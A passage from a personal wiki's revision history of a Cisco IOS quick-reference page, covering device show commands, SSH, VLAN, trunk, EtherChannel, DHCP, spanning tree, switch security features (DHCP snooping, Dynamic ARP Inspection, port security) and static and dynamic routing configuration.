* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network. Here's an example using default administrative distance values listed in the section below.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Manually define a path to a remote network. Here's an example manually defining the administrative distance<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1 10<br />
<br />
Format:<br />
ip route <destination-network> <subnet-mask> <next-hop-ip> <administrative distance (optional)><br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
ipv6 route ::/0 2001:ABC:33:44::1<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
ip summary-address eigrp 100 192.168.0.0 255.255.252.0<br />
<br />
<br />
=== Configure Manual Summarization (OSPF ABR) ===<br />
Configured under the OSPF process (on an ABR).<br />
<br />
router ospf 1<br />
area 0 range 192.168.0.0 255.255.252.0<br />
<br />
<br />
== Show Routing Information ==<br />
<br />
=== View Routing Table ===<br />
<br />
show ip route<br />
<br />
<br />
=== View Specific Route ===<br />
<br />
show ip route 192.168.1.0<br />
<br />
<br />
=== View Routing Protocol Information ===<br />
<br />
show ip protocols</div>
50.220.241.211
https://wiki.luccapirovano.com/index.php?title=Cisco_Commands&diff=1119
Cisco Commands
2026-02-23T22:26:15Z
<p>50.220.241.211: /* Configure a Static Route */</p>
<hr />
<div>= Cisco IOS Command Reference =<br />
<br />
A quick-reference guide for common Cisco IOS commands on switches and routers.<br />
<br />
----<br />
<br />
== Device & System Information ==<br />
<br />
=== Show MAC Address Table ===<br />
<pre><br />
show mac address-table<br />
</pre><br />
<br />
=== Show OS and Device Version ===<br />
<pre><br />
show version<br />
</pre><br />
<br />
=== Show Logged-in Users ===<br />
<pre><br />
show users<br />
</pre><br />
<br />
=== Show Files ===<br />
<pre><br />
dir<br />
dir nvram:<br />
</pre><br />
<br />
----<br />
<br />
== Configuration Files ==<br />
<br />
=== Show Configurations ===<br />
<pre><br />
show running-config<br />
show startup-config<br />
</pre><br />
<br />
=== Show Interface Config ===<br />
<pre><br />
show run interface g0/0<br />
</pre><br />
<br />
=== Filter Running Config (grep-like) ===<br />
<pre><br />
show run | include {searchterm}<br />
show run | exclude {searchterm}<br />
show run | begin {searchterm}<br />
show run | section {section-name}<br />
</pre><br />
<br />
=== Save Running Config ===<br />
<pre><br />
copy running-config startup-config<br />
copy run start<br />
wr<br />
</pre><br />
<br />
----<br />
<br />
== User Privileges & Security ==<br />
<br />
=== Enter Privileged Mode ("elevate to root") ===<br />
<pre><br />
enable<br />
</pre><br />
<br />
=== Set Encrypted Enable Password ===<br />
<pre><br />
enable secret ThisisaSecret<br />
</pre><br />
<br />
=== Encrypt Plaintext Passwords (Weak Encryption) ===<br />
You can decrypt these with publicly available tools like https://keydecryptor.com/decryption-tools/cisco7<br />
<pre><br />
service password-encryption<br />
</pre><br />
<br />
----<br />
<br />
== Interface & Network Status ==<br />
<br />
=== Interface IP Summary ===<br />
<pre><br />
show ip interface brief<br />
show ipv6 interface brief<br />
</pre><br />
<br />
=== Interface IP Summary (filtered to only interfaces with IPs) ===<br />
<pre><br />
show ip interface brief | exclude unassigned<br />
</pre><br />
== VLAN & Switching ==<br />
<br />
=== Show VLANs ===<br />
<pre><br />
show vlan brief<br />
</pre><br />
<br />
=== Show Interface VLAN Details ===<br />
<pre><br />
show interface g0/1 switchport<br />
</pre><br />
<br />
=== Show Trunk Interfaces ===<br />
<pre><br />
show int trunk<br />
</pre><br />
<br />
=== Clear Tables ===<br />
<pre><br />
clear mac address-table<br />
clear arp-cache<br />
</pre><br />
<br />
----<br />
<br />
== Telnet & Remote Access ==<br />
<br />
=== Connect via Telnet ===<br />
<pre><br />
connect {DeviceName}<br />
</pre><br />
<br />
=== Show Hosts & Sessions ===<br />
<pre><br />
show hosts<br />
show sessions<br />
</pre><br />
<br />
=== Disconnect Session ===<br />
<pre><br />
disconnect {DeviceName}<br />
</pre><br />
<br />
=== Suspend Active Session ===<br />
<pre><br />
Ctrl+Shift+6, then x<br />
</pre><br />
<br />
----<br />
<br />
== SSH Configuration ==<br />
<br />
=== Basic SSH Setup ===<br />
<pre><br />
ip domain-name cisco.com<br />
crypto key generate rsa<br />
ip ssh version 2<br />
</pre><br />
<br />
=== Remove RSA Keys ===<br />
<pre><br />
crypto key zeroize rsa<br />
</pre><br />
<br />
=== Create Local User ===<br />
<pre><br />
username admin secret ccna<br />
</pre><br />
<br />
=== Set Default Gateway ===<br />
<pre><br />
ip default-gateway 192.168.10.1<br />
</pre><br />
<br />
=== Enable SSH on VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
transport input ssh<br />
login local<br />
exit<br />
</pre><br />
<br />
----<br />
<br />
== Global Configuration Mode ==<br />
<br />
=== Enter Global Config ===<br />
<pre><br />
configure terminal<br />
</pre><br />
<br />
=== Disable DNS Lookup on Typos ===<br />
<pre><br />
no ip domain-lookup<br />
</pre><br />
<br />
=== Set MOTD Banner ===<br />
<pre><br />
banner motd MESSAGEHERE<br />
</pre><br />
<br />
=== Set Hostname ===<br />
<pre><br />
hostname HOSTNAME<br />
</pre><br />
<br />
----<br />
<br />
== Line Configuration ==<br />
<br />
=== Console Line ===<br />
<pre><br />
line con 0<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
=== VTY Lines ===<br />
<pre><br />
line vty 0 15<br />
password itsasecret<br />
login<br />
</pre><br />
<br />
----<br />
<br />
== Interface Configuration ==<br />
<br />
=== Interface Selection ===<br />
interface vlan 1<br />
interface fa0/1<br />
interface range fa0/2-3<br />
interface range fa0/2-3,g0/1<br />
<br />
=== Enable Interface ===<br />
no shutdown<br />
<br />
=== Assign IPv4 Address ===<br />
ip address 192.168.0.1 255.255.255.0<br />
<br />
=== Assign IPv4 Default Gateway (Switch) ===<br />
ip default-gateway 192.168.0.254<br />
<br />
=== Assign IPv4 Default Route / Default Gateway (Router) ===<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
----<br />
<br />
== Interface IPv6 Configuration ==<br />
<br />
=== Assign IPv6 Address ===<br />
<pre><br />
ipv6 address 2001:DB8:CAFE:1::1/64<br />
</pre><br />
<br />
=== Assign Link-Local Address ===<br />
<pre><br />
ipv6 address fe80::1 link-local<br />
</pre><br />
<br />
=== Remove IPv6 Addresses ===<br />
<pre><br />
no ipv6 address 2001:DB8:CAFE:1::1/64<br />
no ipv6 address<br />
</pre><br />
<br />
=== IPv6 ND Other-Config Flag ===<br />
Set the "Other Configuration" flag in IPv6 Neighbor Discovery (ND) messages. <br />
- When enabled, it signals to IPv6 hosts that they should obtain additional configuration information (such as DNS server addresses) via DHCPv6, even if they have a stateless autoconfigured address.<br />
<br />
ipv6 nd other-config-flag<br />
</pre><br />
<br />
----<br />
<br />
== VLAN Configuration ==<br />
<br />
=== Create / Configure VLAN ===<br />
<pre><br />
vlan 10<br />
name MyAwesomeVlan<br />
</pre><br />
<br />
----<br />
<br />
== Access / Trunk Switchport Configuration ==<br />
<br />
=== Access Port ===<br />
Configures the interface as an access port and assigns it to VLAN 10.<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Trunk Port ===<br />
Configures the interface as a trunk port using 802.1Q encapsulation.<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Trunk Allowed VLANs ===<br />
Specifies which VLANs are allowed to traverse the trunk link.<br />
switchport trunk allowed vlan 10,20,33,99<br />
<br />
=== Trunk Native VLANs ===<br />
Sets the native VLAN for untagged traffic on the trunk.<br />
switchport trunk native vlan 99<br />
<br />
=== Trunk Nonegotiate ===<br />
Disables DTP (Dynamic Trunking Protocol) negotiation on the trunk interface.<br />
switchport nonegotiate<br />
<br />
== EtherChannel Configuration ==<br />
<br />
=== Create EtherChannel (LACP Active) ===<br />
Configures interfaces to actively negotiate EtherChannel using LACP.<br />
interface range g0/1 - 2<br />
channel-group 1 mode active<br />
<br />
=== Create EtherChannel (LACP Passive) ===<br />
Configures interfaces to respond to LACP negotiation.<br />
interface range g0/1 - 2<br />
channel-group 1 mode passive<br />
<br />
=== Create EtherChannel (On Mode) ===<br />
Forces EtherChannel without negotiation protocol.<br />
interface range g0/1 - 2<br />
channel-group 1 mode on<br />
<br />
=== Configure Port-Channel as Access Port ===<br />
Applies access configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport mode access<br />
switchport access vlan 10<br />
<br />
=== Configure Port-Channel as Trunk ===<br />
Applies trunk configuration to the logical Port-Channel interface.<br />
interface port-channel 1<br />
switchport trunk encapsulation dot1q<br />
switchport mode trunk<br />
<br />
=== Verify EtherChannel ===<br />
Displays EtherChannel status and summary information.<br />
show etherchannel summary<br />
<br />
=== Verify Port-Channel Interface ===<br />
Displays detailed information about the Port-Channel interface.<br />
show interfaces port-channel 1<br />
<br />
<br />
== DHCP ==<br />
<br />
=== Configure a DHCP Server on a Cisco Router ===<br />
Assigns IP addresses automatically to clients on a network.<br />
<br />
<pre><br />
ip dhcp excluded-address 192.168.1.1 192.168.1.10<br />
! Exclude addresses that should not be assigned dynamically<br />
<br />
ip dhcp pool LAN_POOL<br />
network 192.168.1.0 255.255.255.0<br />
default-router 192.168.1.1<br />
dns-server 8.8.8.8 8.8.4.4<br />
lease 7<br />
</pre><br />
<br />
* ''excluded-address'': Prevents certain IPs from being assigned (like static IPs for servers or routers). <br />
* ''network'': Defines the subnet for DHCP clients. <br />
* ''default-router'': Sets the gateway IP for clients. <br />
* ''dns-server'': Specifies DNS servers for clients. <br />
* ''lease'': Duration the IP is valid (in days). <br />
<br />
=== Configure DHCP Relay (IP Helper) ===<br />
Forwards DHCP requests from clients to a remote DHCP server.<br />
<br />
<pre><br />
interface GigabitEthernet0/1<br />
ip address 192.168.1.1 255.255.255.0<br />
ip helper-address 192.168.2.100<br />
</pre><br />
<br />
* ''ip helper-address'': IP of the DHCP server to forward requests to. <br />
* Needed when the server is on a different subnet. <br />
<br />
=== Verify DHCP Status ===<br />
<pre><br />
show ip dhcp binding ! Shows assigned IP addresses<br />
show ip dhcp pool ! Shows pool usage and statistics<br />
show running-config ! Check DHCP configuration<br />
</pre><br />
<br />
=== Best Practices ===<br />
* Exclude static IP addresses from DHCP pools. <br />
* Use ''DHCP relay'' when clients and server are on different subnets. <br />
* Monitor DHCP bindings to prevent IP conflicts.<br />
<br />
== Spanning Tree ==<br />
<br />
=== Enable PortFast on an interface ===<br />
Use PortFast on edge/access ports that connect to end devices.<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
<br />
=== Enable PortFast globally ===<br />
Enables PortFast on all access ports.<br />
<br />
spanning-tree portfast default<br />
<br />
=== Enable PortFast on a trunk (use with caution) ===<br />
Only use when the trunk connects to a single end device (not another switch).<br />
<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast trunk<br />
<br />
=== Verify PortFast status ===<br />
<br />
show spanning-tree interface GigabitEthernet0/1 detail<br />
<br />
=== Disable PortFast on an interface ===<br />
<br />
interface GigabitEthernet0/1<br />
no spanning-tree portfast<br />
<br />
=== Best Practice: Enable BPDU Guard with PortFast ===<br />
Shuts down the port if a BPDU is received, protecting against loops.<br />
<br />
Per interface:<br />
interface GigabitEthernet0/1<br />
spanning-tree portfast<br />
spanning-tree bpduguard enable<br />
<br />
Globally:<br />
spanning-tree portfast default<br />
spanning-tree bpduguard default<br />
<br />
=== Notes ===<br />
* Do '''not''' enable PortFast on ports connected to other switches<br />
* Recommended for access/edge ports<br />
* Incorrect use can cause Layer 2 loops<br />
<br />
== DHCP Snooping ==<br />
<br />
=== Enable DHCP Snooping globally ===<br />
Enable DHCP Snooping for the switch.<br />
<br />
ip dhcp snooping<br />
<br />
=== Enable DHCP Snooping on a VLAN ===<br />
DHCP Snooping only operates on specified VLANs.<br />
<br />
ip dhcp snooping vlan 10<br />
ip dhcp snooping vlan 20<br />
<br />
=== Configure trusted interfaces ===<br />
Mark uplinks or ports connected to legitimate DHCP servers as trusted.<br />
<br />
interface GigabitEthernet0/1<br />
ip dhcp snooping trust<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. DHCP server responses are blocked.<br />
<br />
interface GigabitEthernet0/2<br />
no ip dhcp snooping trust<br />
<br />
=== Configure DHCP Snooping rate limiting ===<br />
Protect against DHCP starvation attacks. Limits to 15 DHCP packets per second, will mark port as violating otherwise.<br />
<br />
interface GigabitEthernet0/2<br />
ip dhcp snooping limit rate 15<br />
<br />
=== Verify DHCP Snooping status ===<br />
<br />
show ip dhcp snooping<br />
show ip dhcp snooping binding<br />
<br />
=== Disable DHCP Snooping ===<br />
<br />
no ip dhcp snooping<br />
no ip dhcp snooping vlan 10<br />
<br />
=== Notes ===<br />
* Only trusted ports can send DHCP server messages<br />
* Access ports should remain untrusted<br />
* Commonly used with '''Dynamic ARP Inspection''' and '''IP Source Guard'''<br />
* Requires correct VLAN configuration to function properly<br />
<br />
== Dynamic ARP Inspection (DAI) ==<br />
Dynamic ARP Inspection (DAI) is a security feature that validates ARP packets against a trusted database (typically built by DHCP Snooping) to prevent ARP spoofing and man-in-the-middle attacks. It intercepts ARP packets on untrusted ports, checks IP-to-MAC bindings, and drops invalid ones.<br />
<br />
=== Enable DAI globally ===<br />
Dynamic ARP Inspection requires DHCP Snooping to be enabled first (DAI uses the DHCP snooping binding table for validation).<br />
<br />
ip arp inspection<br />
<br />
=== Enable DAI on a VLAN ===<br />
Specify which VLANs should be protected.<br />
<br />
ip arp inspection vlan 10<br />
ip arp inspection vlan 20<br />
ip arp inspection vlan 10,20 (alternative: range)<br />
<br />
=== Configure trusted interfaces ===<br />
Trust uplinks and ports connected to other switches, routers, DHCP servers, or devices that should bypass DAI checks.<br />
<br />
interface GigabitEthernet0/1<br />
ip arp inspection trust<br />
<br />
Trusted ports forward ARP packets without validation.<br />
<br />
=== Untrusted interfaces (default) ===<br />
Access ports are untrusted by default. Invalid ARP packets are dropped.<br />
<br />
interface GigabitEthernet0/2<br />
no ip arp inspection trust (optional; this is the default)<br />
<br />
=== Configure ARP rate limiting ===<br />
Protect against ARP flooding/DoS attacks. Default is 15 pps on untrusted ports (exceeding this can put the port in err-disable).<br />
<br />
interface GigabitEthernet0/2<br />
ip arp inspection limit rate 15 (example: 15 packets per second)<br />
ip arp inspection limit rate 100 burst interval 1 (optional: higher rate with burst)<br />
<br />
=== Additional Validation Checks ===<br />
By default, DAI validates only IP-to-MAC bindings from the DHCP snooping database. Enable extra checks (global config mode) to catch malformed ARP packets (highly recommended for stronger security).<br />
<br />
ip arp inspection validate src-mac<br />
ip arp inspection validate src-mac dst-mac ip (common: enable all three)<br />
<br />
Options:<br />
* '''src-mac''' — Checks source MAC in Ethernet header vs. sender MAC in ARP body (for requests and replies).<br />
* '''dst-mac''' — Checks destination MAC in Ethernet header vs. target MAC in ARP body (mainly for replies).<br />
* '''ip''' — Checks for invalid/unexpected IP addresses (e.g., 0.0.0.0, 255.255.255.255, multicast IPs) in ARP body.<br />
<br />
Each new <code>ip arp inspection validate</code> command '''overrides''' previous ones, so specify all desired options together.<br />
<br />
To disable: <code>no ip arp inspection validate [src-mac] [dst-mac] [ip]</code><br />
<br />
=== Verify DAI status ===<br />
show ip arp inspection<br />
show ip arp inspection vlan 10<br />
show ip arp inspection interfaces<br />
show ip arp inspection statistics (shows drops, rate limit violations)<br />
show ip arp inspection log (logs of dropped packets)<br />
<br />
=== Disable DAI ===<br />
no ip arp inspection<br />
no ip arp inspection vlan 10<br />
<br />
=== Notes ===<br />
* Requires '''DHCP Snooping''' to build the ARP binding table (enable with <code>ip dhcp snooping</code> + <code>ip dhcp snooping vlan ...</code>).<br />
* Only trusted ports can send unlimited ARP replies/packets (no validation or rate limiting).<br />
* Access ports should remain '''untrusted''' to enforce checks.<br />
* Commonly deployed with '''PortFast + BPDU Guard''' on access ports for loop/spanning-tree protection.<br />
* For non-DHCP environments, use static ARP ACLs: <code>ip arp inspection filter arp-acl-name vlan 10</code>.<br />
* Often combined with '''IP Source Guard''' (<code>ip verify source</code>) on access ports to filter IP traffic based on the same bindings.<br />
* Rate limiting helps prevent DoS; monitor with <code>show ip arp inspection statistics</code> and consider <code>errdisable recovery cause arp-inspection</code> for automatic port recovery.<br />
* Additional validation (<code>src-mac</code>, <code>dst-mac</code>, <code>ip</code>) catches MAC spoofing or malformed packets beyond basic binding checks—enable at least <code>src-mac</code> and <code>ip</code> in most production setups.<br />
* DAI is ingress-only (checks incoming packets on untrusted ports).<br />
<br />
== Port Security ==<br />
<br />
=== View status of port security on an interface ===<br />
show port-security interface f0/1<br />
<br />
=== Activate Port Security on an interface ===<br />
The port cannot be a dynamic port:<br />
switchport mode access<br />
Enable Port Security<br />
switchport port-security<br />
<br />
=== Set the maximum number of mac addresses that can be used on that port ===<br />
switchport port-security maximum 1<br />
<br />
=== Whitelist a specific mac address ===<br />
switchport port-security mac-address 0001.6311.E7BC<br />
<br />
=== Enable sticky mode to automatically learn mac addresses ===<br />
switchport port-security mac-address sticky<br />
<br />
=== Port Security Violation Modes ===<br />
==== Protect ====<br />
Silently drops packets from unknown MAC addresses while keeping the port up and generating no alerts.<br />
switchport port-security violation protect<br />
<br />
==== Restrict ====<br />
Drops packets from unknown MAC addresses and logs the violation while incrementing the security counter.<br />
switchport port-security violation restrict<br />
<br />
==== Shutdown ====<br />
Immediately disables the port when an unknown MAC address is detected, placing it into an error-disabled state.<br />
switchport port-security violation shutdown<br />
<br />
=== Port Security Aging ===<br />
==== Enable static aging on an interface ====<br />
switchport port-security aging static<br />
<br />
==== Enable timed aging on an interface (5 minutes) ====<br />
switchport port-security aging time 5<br />
<br />
= Routing =<br />
<br />
Routing is the process of forwarding packets between different networks using routing tables and routing protocols.<br />
<br />
=== Enable IP Routing (Layer 3 Switch) ===<br />
Required on multilayer switches to allow routing between VLANs.<br />
<br />
ip routing<br />
<br />
=== Enable IPv6 Routing (Routers) ===<br />
<br />
ipv6 unicast-routing<br />
<br />
== Static Routing ==<br />
<br />
=== Configure a Static Route ===<br />
Manually define a path to a remote network. Here's an example using default administrative distance values listed in the section below.<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1<br />
<br />
Manually define a path to a remote network. Here's an example manually defining the administrative distance<br />
<br />
ip route 192.168.2.0 255.255.255.0 192.168.1.1 10<br />
<br />
Format:<br />
ip route <destination-network> <subnet-mask> <next-hop-ip> <administrative distance (optional)><br />
<br />
=== Configure a Default Route / Default Gateway ===<br />
Route used when no specific route matches the destination.<br />
<br />
ip route 0.0.0.0 0.0.0.0 192.168.1.1<br />
<br />
== Administrative Distance ==<br />
<br />
Determines which route is preferred when multiple routes to the same destination exist.<br />
<br />
Common values:<br />
Connected – 0<br />
Static – 1<br />
EIGRP – 90<br />
OSPF – 110<br />
RIP – 120<br />
<br />
== Dynamic Routing ==<br />
<br />
Dynamic routing protocols automatically exchange routing information between routers.<br />
<br />
=== Configure RIP v2 ===<br />
Uses hop count as metric (maximum 15 hops).<br />
<br />
router rip<br />
version 2<br />
no auto-summary<br />
network 192.168.1.0<br />
<br />
<br />
=== Configure EIGRP ===<br />
Uses bandwidth and delay as composite metric.<br />
<br />
router eigrp 100<br />
no auto-summary<br />
network 192.168.1.0 0.0.0.255<br />
<br />
<br />
=== Configure OSPF ===<br />
Link-state protocol using cost as metric.<br />
<br />
router ospf 1<br />
network 192.168.1.0 0.0.0.255 area 0<br />
<br />
<br />
== Route Summarization ==<br />
<br />
Route summarization (aggregation) reduces routing table size by advertising one route that represents multiple networks.<br />
<br />
Example networks:<br />
192.168.0.0/24<br />
192.168.1.0/24<br />
192.168.2.0/24<br />
192.168.3.0/24<br />
<br />
Can be summarized as:<br />
192.168.0.0/22<br />
<br />
<br />
=== Configure Manual Summarization (EIGRP) ===<br />
Applied on the outgoing interface.<br />
<br />
interface GigabitEthernet0/0<br />
